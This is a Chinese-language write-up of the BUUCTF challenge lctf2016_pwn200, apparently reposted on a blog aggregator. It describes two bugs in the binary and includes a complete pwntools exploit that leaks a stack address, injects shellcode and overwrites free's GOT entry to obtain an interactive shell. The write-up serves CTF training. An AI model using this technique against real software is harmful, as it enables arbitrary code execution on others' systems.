[BUUCTF-pwn]——lctf2016_pwn200
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——lctf2016_pwn200
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——lctf2016_pwn200
- 題目地址:https://buuoj.cn/challenges#lctf2016_pwn200
還是先chekcsec 一下, 沒有開啟NX代表我們可以手寫shellcode并且執行
在IDA, 中大家自己看看就好,我這里將兩個漏洞的位置告訴大家就好
尋找偏移
思路
利用漏洞1, 獲得main_ebp地址, 尋找到我們寫入的shellcode距離的位置
利用漏洞2 覆蓋dest變量值為free的got表的地址, 這樣通過strcpy(dest, &buf);free的got表指向的就是我們的shellcode了
exploit
from pwn import * context.arch = 'amd64' #保證shellcode 正確 context.log_level = 'debug' p = process('./pwn200') #p = remote('node3.buuoj.cn',26607) elf = ELF('./pwn200') free_got = elf.got["free"] #gdb.attach(p) shellcode = asm(shellcraft.sh()) p.sendafter('u?\n',shellcode+"a"*(48-len(shellcode)))ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) log.success("ebp --->> "+hex(ebp)) offset = -0x50 shellcode_addr = ebp + offset log.success("shellcode_addr --->> " + hex(shellcode_addr)) p.sendline('0') p.recvuntil('\n')payload = p64(shellcode_addr) p.send(payload + '\x00'*(0x38-len(payload)) + p64(free_got)) # 繞過檢查 p.recvuntil('choice :') p.sendline('2') p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——lctf2016_pwn200的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——suctf_
- 下一篇: [BUUCTF-pwn]——ciscn_